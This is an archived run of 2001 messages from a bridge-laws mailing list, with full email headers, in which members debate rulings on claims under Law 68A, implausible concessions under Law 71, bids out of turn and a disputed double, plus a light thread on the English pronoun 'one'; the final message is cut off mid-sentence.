http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 14:12:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I3Bea26612 for bridge-laws-outgoing; Thu, 18 Jan 2001 14:11:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from umx-mail02.missouri.edu (umx-mail02.missouri.edu [128.206.10.222]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I3BXt26608 for ; Thu, 18 Jan 2001 14:11:34 +1100 (EST) Received: from [128.206.98.1] (mu-098001.dhcp.missouri.edu [128.206.98.1]) by umx-mail02.missouri.edu with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id ZK6W1L55; Wed, 17 Jan 2001 21:11:27 -0600 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: HarrisR@pop.email.missouri.edu Message-Id: In-Reply-To: <031d01c07ce9$fcc3f9e0$56991e18@san.rr.com> References: <200101092349030800.0321272A@mail.earthlink.net> <004901c07b2b$2a675880$56991e18@san.rr.com> <01ae01c07c07$c75f49e0$56991e18@san.rr.com> Date: Wed, 17 Jan 2001 21:18:12 -0600 To: From: "Robert E. Harris" Subject: Re: [BLML] Bad Language Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Theodore Kennard, a chemist, brother of E. H. Kennard (physicist) and father of one of my wife's good friends, always spoke in the first person as "One ..." I always found it amazing to hear him. I suppose his wife (also a chemist) did not find it so surprising. RE Harris >From: "David Stevenson" > >> Marvin L. French writes >> >> >We have to recognize that England and the U. S. are too far apart, >> >geographically and culturally, to expect them to have a completely >> >common language. It offends my ear/eye to hear/read the English "one" >> >used for "I," as in "One enjoyed one's trip to the continent last >> >year," but I suppose the British Davids find it perfectly acceptable. >> >> Certainly not. That's French. >> >I remember Princess Anne using "one" in this way on the telly. Perhaps a >middle path between the royal "we" and the "I" of commoners? I believe >that some columnists use "one" as first person also, if not using "we" >or "the present writer" or "your reviewer," all pretty ridiculous. > >Marv >San Diego, CA, USA > > > > > > > > > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 14:19:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I3J6X26634 for bridge-laws-outgoing; Thu, 18 Jan 2001 14:19:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp.email.msn.com (cpimssmtpu02.email.msn.com [207.46.181.18]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I3J0t26630 for ; Thu, 18 Jan 2001 14:19:01 +1100 (EST) Received: from uymfdlvk - 63.57.229.7 by email.msn.com with Microsoft SMTPSVC; Wed, 17 Jan 2001 19:18:51 -0800 Message-ID: <007101c080fc$8668c160$07e5393f@uymfdlvk> Reply-To: "Chris Pisarra" From: "Chris Pisarra" To: References: Subject: Re: [BLML] Claim? Date: Wed, 17 Jan 2001 19:12:42 -0800 Organization: his wit's end MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David wrote > > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? If dummy comes down with excellent and unexpected trump support, and you exclaim "Partner, I think I love you" do you have to divorce your wife and start living with Prost? The answer is no in both cases. Chris -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 15:26:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I4PRN19989 for bridge-laws-outgoing; Thu, 18 Jan 2001 15:25:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I4PKt19953 for ; Thu, 18 Jan 2001 15:25:21 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 17 Jan 2001 20:24:37 -0800 Message-ID: <01c301c08106$a2978600$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Similar but different Date: Wed, 17 Jan 2001 20:19:35 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Kojak writes: > Robin writes: > > > > Dealer South, North passes out of turn, not accepted, so North is > > silenced on the first round (must pass when next it is his turn to > > call). Are there any constraints on South's bidding? > > > > My answer: Yes. > > > > South has UI and so must not select from logical alternatives one > > demonstrably suggested by the fact that North passed. > > > > If South has approximately a weak NT hand, then his logical alternatives > > may be 1NT and 3NT, in which case he must bid 3NT as 1NT is suggested > > over 3NT by the fact that partner has less than an opening hand. > > > > ? > > Seems to me that South was the dealer, and before he could call his partner > bid....? Right. So where does South get another chance to bid (see Law 71B. > No? Am I getting dotty???? 31B, you mean. His partner passed out of rotation, she didn't bid. L30A and L72B1 apply. > > Must be the late nights, I guess. We all do it :)) I disagree with Robin. South should not let the UI influence, or appear to influence, his bidding. Besides, while the UI suggests there is no game, bidding 3NT with a weak notrump sort of hand is not an LA. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 15:57:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I4uiU25818 for bridge-laws-outgoing; Thu, 18 Jan 2001 15:56:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I4uat25809 for ; Thu, 18 Jan 2001 15:56:36 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 17 Jan 2001 20:55:52 -0800 Message-ID: <01df01c0810b$00125a40$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101092349030800.0321272A@mail.earthlink.net> <004901c07b2b$2a675880$56991e18@san.rr.com> <01ae01c07c07$c75f49e0$56991e18@san.rr.com> Subject: Re: [BLML] Bad Language Date: Wed, 17 Jan 2001 20:53:34 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Robert E. Harris" > Theodore Kennard, a chemist, brother of E. H. Kennard (physicist) and > father of one of my wife's good friends, always spoke in the first person > as "One ..." > I always found it amazing to hear him. I suppose his wife (also a chemist) > did not find it so surprising. > Just last night I watched an old interview with Alfred Hitchcock, in which he sometimes used "I" and sometimes "one." Evidently his Americanization was not complete. Marv > > >From: "David Stevenson" > > > >> Marvin L. French writes > >> > >> >We have to recognize that England and the U. S. are too far apart, > >> >geographically and culturally, to expect them to have a completely > >> >common language. It offends my ear/eye to hear/read the English "one" > >> >used for "I," as in "One enjoyed one's trip to the continent last > >> >year," but I suppose the British Davids find it perfectly acceptable. > >> > >> Certainly not. That's French. > >> > >I remember Princess Anne using "one" in this way on the telly. Perhaps a > >middle path between the royal "we" and the "I" of commoners? I believe > >that some columnists use "one" as first person also, if not using "we" > >or "the present writer" or "your reviewer," all pretty ridiculous. > > > >Marv > >San Diego, CA, USA > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 15:57:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I4uhu25817 for bridge-laws-outgoing; Thu, 18 Jan 2001 15:56:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I4uYt25808 for ; Thu, 18 Jan 2001 15:56:35 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 17 Jan 2001 20:55:51 -0800 Message-ID: <01de01c0810a$ff73a940$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Claim? Date: Wed, 17 Jan 2001 20:48:33 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? > Yes. L68A: Any statement to the effect that a contestant will win a specific number of tricks is a claim of those tricks. The parenthetical "(unless he demonstrably did not intend to claim)" applies only when a contestant merely "shows his cards" without making a statement. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 16:47:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I5kHK25926 for bridge-laws-outgoing; Thu, 18 Jan 2001 16:46:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I5kBt25922 for ; Thu, 18 Jan 2001 16:46:12 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com; Wed, 17 Jan 2001 21:45:28 -0800 Message-ID: <01e901c08111$edec7e20$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: <200101180132.RAA06740@mailhub.irvine.com> Subject: Re: [BLML] Claim? Date: Wed, 17 Jan 2001 21:45:42 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan wrote: > > David Stevenson wrote: > > > Declarer looks at dummy, and comments: > > > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > > > Has he claimed? > > I'd rule "no". I think intent to claim has to be there. OK, > hyper-literalists are going to argue that 68B says that *any* > statement to the effect that he'll win X number of tricks is a claim. > If they argue that, I'll argue that this obviously intends only to > apply to statements that are directed toward the opponents, and not > when declarer directs the statement toward dummy, or toward a > kibitzer, or to his coffee mug, or muttering to himself, etc. > I think L68A (not B) applies to statements *heard* by the opponents. The lawmakers usually have good reasons for what they write. I expect that the reason for this one is the effect that such a statement might have on the defense, perhaps lulling them into thinking they can relax, grab one trick, and go on to the next board, when that would be wrong. Then you get into the messy L73F2. Better to say that players should keep quiet about how many tricks they expect to take. Until 1987 Adam's opinion was probably the correct one, as before then the law was a little different: L70, 1963, and L68B, 1975: Declarer makes a claim whenever he announces that he will win or lose one or more of the remaining tricks,... In 1987 the matter went into L68A, and "announces" was changed to making "any statement to the effect..." There must have been some difficulty in deciding whether a casual statement was an announcement or not, hence the revision. It's hard to believe that the lawmakers did not intend L68A to be taken literally when they made this change. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 17:04:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I64Cn25975 for bridge-laws-outgoing; Thu, 18 Jan 2001 17:04:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I647t25970 for ; Thu, 18 Jan 2001 17:04:07 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 17 Jan 2001 22:03:24 -0800 Message-ID: <01f701c08114$6f545260$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <01011519525801.00176@psa836> <00cf01c08040$828fd360$56991e18@san.rr.com> Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Wed, 17 Jan 2001 21:59:33 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > Marvin L. French writes: > >David Stevenson wrote: > > > >> >On Mon, 15 Jan 2001, David Stevenson wrote: > >> > >> >> >71C. Implausible Concession > >> >> > if a player has conceded a trick that cannot be lost by > >> >> > any normal play of the remaining cards. Until the > >> >> > conceding side makes a call on a subsequent board, or > >> >> > until the round ends, the Director shall cancel the > >> >> > concession of a trick that could not have been lost > >> >> > by any normal play of the remaining cards. > >> >> > >> >> The second sentence has not been deleted. However, it has been > >> >> realised that it is superfluous, and it is acceptable to treat this > >Law > >> >> _as though_ it had been deleted. > >> >> > >>I tried to argue at one > >> time as you said, based on the idea that it was not logical to include > >> the second sentence otherwise, and it was decided that the second > >> sentence was superfluous, and had been left in accidentally when other > >> changes were made to the Law. > > > >The second sentence is not superfluous, which means adding nothing to > >the first sentence. It is a contradiction of the first sentence, > >carrying a different meaning. Let's just say it's a goof, a fossil that > >should have been removed when L71 was recast. > > It *is* superfluous, it is not contradictory. > > The second sentence allows a concession to be cancelled if a trick > could not have been lost by any normal play of the cards, and gives a > time limit. The first sentence allows a concession to be cancelled if a > trick could not have been lost by any normal play of the cards, but > gives no time limit. So any concession allowed by the second sentence > is always allowed by the first sentence, and also concessions outside > the time limit are allowed. Thus the second sentence is superfluous. > A correction not allowed by the second sentence is allowed by the first sentence. Looks like a contradiction to me. How can one tell which sentence was the mistake? Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 18:10:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I7A1d26061 for bridge-laws-outgoing; Thu, 18 Jan 2001 18:10:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ruthenium ([194.73.73.138]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I79tt26057 for ; Thu, 18 Jan 2001 18:09:56 +1100 (EST) Received: from [213.122.164.99] (helo=pbncomputer) by ruthenium with smtp (Exim 3.03 #83) id 14J9Ce-0002gT-00 for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 07:09:49 +0000 Message-ID: <003d01c0811d$a8a51640$63a47ad5@pbncomputer> From: "David Burn" To: References: Subject: Re: [BLML] Claim? Date: Thu, 18 Jan 2001 07:09:52 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote: > > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? Yes, of course he has. Law 68A says: Any statement to the effect that a contestant will win a specific number of tricks is a claim of those tricks. A contestant also claims when he suggests that play be curtailed, or when he shows his cards (unless he demonstrably did not intend to claim). Now, the clause in parentheses refers only to the immediately preceding clause - that is, a player who shows his cards has claimed unless this was demonstrably not his intent. It may be argued that the clause could apply also to the first clause of the second sentence, and that a player who suggests that play be curtailed has not claimed if such was demonstrably not his intent. To interpret the sentence in this way is at variance with the rules of English grammar - if the interpretation were correct, there would be no comma after the word "curtailed" - but so are a very great many interpretations of the Laws of bridge. However, by no stretch of syntax or imagination can the parenthetical clause at the end of the second sentence be held to apply to the first sentence. A contestant who states that his side is going to make 12 tricks has claimed those tricks, whether he intended to do so or not. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 19:10:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I89sl03096 for bridge-laws-outgoing; Thu, 18 Jan 2001 19:09:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I89kt03060 for ; Thu, 18 Jan 2001 19:09:47 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA05507; Thu, 18 Jan 2001 09:09:42 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Thu Jan 18 09:12:59 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JZ1POG24NA002CKM@AGRO.NL>; Thu, 18 Jan 2001 09:09:21 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Thu, 18 Jan 2001 09:04:54 +0100 Content-return: allowed Date: Thu, 18 Jan 2001 09:09:17 +0100 From: "Kooijman, A." Subject: RE: [BLML] Let's get back to the easy stuff To: "'Fearghal O'Boyle'" , "'bridge-laws@octavia.anu.edu.au'" Message-id: <67378DEA146DD21194C20000F87B08BA01B8B782@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > -----Oorspronkelijk bericht----- > Van: Fearghal O'Boyle [mailto:tsvecfob@iol.ie] > Verzonden: woensdag 17 januari 2001 19:20 > Aan: 'bridge-laws@octavia.anu.edu.au' > Onderwerp: RE: [BLML] Let's get back to the easy stuff > > > > Ton wrote: > > Example: If I have 17 points and something happens by which > my partner has > to pass I am allowed to bid 3NT and to make it. But if I do > something by > which my partner is barred from the bidding and only now I > can make the > final call in the right contract, the laws allow the TD to take that > advantage away (this is described in a more general way in L 23) > > > > > So if I hold: S. A6 H. KQ8765 D. K5 C. A54 > and 1H out of turn thereby barring partner. > Partner holds: S KJ5 H. AJ D. 643 C. 97632 > > If I now bid 4H and make it - I will get to keep my 4H - even > if partner has a weaker hand. > > But if I bid 3H and make 3H where 4H-1 would be normal, I > will not be allowed to keep +140. > > Is this what Ton is saying? No, but I need more time than being available now to explain it. You have to wait. ton > > Best regards, > Fearghal. > -- > ============================================================== > ========== > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-> LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 20:30:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I9U7001641 for bridge-laws-outgoing; Thu, 18 Jan 2001 20:30:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I9Txt01595 for ; Thu, 18 Jan 2001 20:30:00 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id KAA14840; Thu, 18 Jan 2001 10:29:56 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Thu Jan 18 10:32:37 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JZ1SH4UJ20002CA5@AGRO.NL>; Thu, 18 Jan 2001 10:28:58 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Thu, 18 Jan 2001 10:24:30 +0100 Content-return: allowed Date: Thu, 18 Jan 2001 10:28:54 +0100 From: "Kooijman, A." Subject: RE: TR: TR: [BLML] Law 71: Concession cancelled To: "'David Stevenson'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B784@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > Maybe you are, but that is what the WBFLC did: noted it was > superfluous. There was no change of Law, merely a clarification. If it had just been superfluous we probably wouldn't have done anything with it. But it also seems in contradiction with other parts of 71 and that was the reason to throw it out. So yes: it should not be reprinted, it does not exist anymore. And starting to interpret our minutes to determine the exact status of this sentence at this moment does not help the TD on the floor: ignore it. ton > > -- > David Stevenson Liverpool, England, UK > > For help in rulings see the International Bridge Laws Forum > at http://blakjak.com/iblf.htm > -- > ============================================================== > ========== > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-> LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 22:31:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IBUAW22925 for bridge-laws-outgoing; Thu, 18 Jan 2001 22:30:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IBU3t22921 for ; Thu, 18 Jan 2001 22:30:04 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id MAA14617; Thu, 18 Jan 2001 12:27:24 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id MAA11617; Thu, 18 Jan 2001 12:29:47 +0100 (MET) for Message-Id: <3.0.6.32.20010118124206.00857100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 18 Jan 2001 12:42:06 +0100 To: ac342@freenet.carleton.ca, bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Double Trouble In-Reply-To: <200101171907.OAA08466@freenet10.carleton.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:07 17/01/01 -0500, A. L. Edwards wrote: > brd # 11 S Q84 S W N E > NSV H Q8542 1C DBL P 1H > dlr: S D 853 2D 3H X P > C 85 4C P(1) P P > S K32 S JT97 (P) > H AKT3 H J976 > D AT97 D QJ 1) West said he put out a DBL, > C A7 C 932 not a pass card > S A65 > H --- result: 4C-3, NS -150 > D K642 ruling: result stands > C KQJT64 appeal: cancelled > > I was called to the table at the end of the hand. West claimed that >he had doubled 4C; NS said that he hadn't. I asked to see the personal >scorecards; West's card was marked 4Cx; South's was marked 4C; North >was not keeping score, but maintained that there was no X; East's card >was marked 4C (no x). When I asked E if he had seen his partner double, >he replied, "Well, he did double to start with...", and seemed quite >uncomfortable. West claimed that it was obvious that he had doubled, >everyone would with his hand. > > I have posted a "what is your call?" question to RGB in order to test >West's assertion that everyone would double. In this forum I'm interested >in how others deal with type of problem. What procedure do you use >to find out the facts? What guidelines does your SO use? One local >expert suggested that the first thing I should do is ask who made the >final pass; a good idea I hadn't thought of before, I always go straight >for the private scorecard. AG : whatever the jurisprudency for such cases is, I think conducting a bidding poll is not the good procedure. Let's assume, just for a moment, that West had passed, even though he claims, in all good faith, to have doubled. What could be the explanation ? The most plausible, especially behind screens and with a quick-moving tray, would be that West pulled out the wrong card - it happens again and again. So, when seeking for evidence, the fact that a double was obvious (yes, it was) does not mean that West doubled, only that he intended to double. Which is irrelevant. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 22:37:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IBbXF22938 for bridge-laws-outgoing; Thu, 18 Jan 2001 22:37:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IBbQt22934 for ; Thu, 18 Jan 2001 22:37:27 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id MAA17884; Thu, 18 Jan 2001 12:34:48 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id MAA16625; Thu, 18 Jan 2001 12:37:11 +0100 (MET) for Message-Id: <3.0.6.32.20010118124930.00858100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 18 Jan 2001 12:49:30 +0100 To: Gordon Bower , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Escape sequences In-Reply-To: References: <3A65803C.DE757129@village.uunet.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:27 17/01/01 -0900, you wrote: > > >The problem with such calls arises when they are NOT included as part of >the system. You run into the usual UI and implicit-agreement minefields if >you use an idle bid for this purpose and hope partner figures it out -- >especially if your opponents don't think the bid is really idle. (Easy >example: in my club there are many pairs who, after a Jacoby Transfer of >2D, will *always* complete with 2H, and 